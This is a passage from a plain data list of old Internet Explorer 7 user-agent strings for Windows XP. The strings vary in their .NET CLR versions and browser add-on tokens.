1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; Zango 10.3.65.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.590; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; AskTB5.4)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; Windows-Media-Player/10.00.00.3990)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; Windows-Media-Player/10.00.00.3990; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; Zango 10.0.341.0; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.2; AskTB5.3)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Lunascape 5.1.0.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; MS-RTC LM 8; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Seekmo 10.0.314.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Seekmo 10.0.341.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Seekmo 10.0.341.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Seekmo 10.0.345.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Seekmo 10.0.370.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990; Zango 10.0.341.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Zango 10.0.275.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Zango 10.0.314.0; SpamBlockerUtility 4.8.4; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Zango 10.0.341.0; Windows-Media-Player/10.00.00.3990)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Zango 10.0.370.0; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Zango 10.1.181.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Zango 10.3.36.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Zango 10.3.65.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Zango 10.3.74.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; yplus 5.1.03b)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.40301; InfoPath.2; .NET CLR 1.1.4322; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.40607; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50215; Avalon 6.0.5070; WinFX RunTime 3.0.50215; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.0.3705; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04307.00; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 1.0.3705; .NET CLR 3.5.21022; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 1.0.3705; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; GreenBrowser)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; Sleipnir/2.9.3)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.648; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.648; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 5.0 alpha3)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTB5.4)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; MEGAUPLOAD 2.0; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; PeoplePal 3.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Seekmo 10.0.341.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Zango 10.0.275.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Zango 10.0.370.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Zango 10.3.36.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 2.0.50215; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 1.0.3705; Tablet PC 1.7; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; yplus 5.6.04b)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; InfoPath.1; GreenBrowser)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTB5.6)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTB5.5)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.590; .NET CLR 3.5.20706; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 1.1.4322; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 1.1.4322; yplus 5.1.04b)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; GreenBrowser)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.1; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1; MS-RTC LM 8; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; .NET CLR 1.1.4322; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; InfoPath.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; FDM; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; MEGAUPLOAD 1.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; MS-RTC LM 8; .NET CLR 3.0.04506.648; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; Zango 10.3.75.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 1.1.4322; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; .NET CLR 3.5.30428)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; Zune 4.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 1.1.4322; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; Sleipnir/2.9.3)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Sleipnir/2.8.3\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; GreenBrowser)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; GreenBrowser)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; TheWorld)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; .NET CLR 1.1.4322; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.5.30428; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; FDM; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; FDM; .NET CLR 3.0.04506.30; InfoPath.2; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; GreenBrowser)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; Hotbar 10.0.342.0; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; MS-RTC LM 8)\nMozilla/4.0 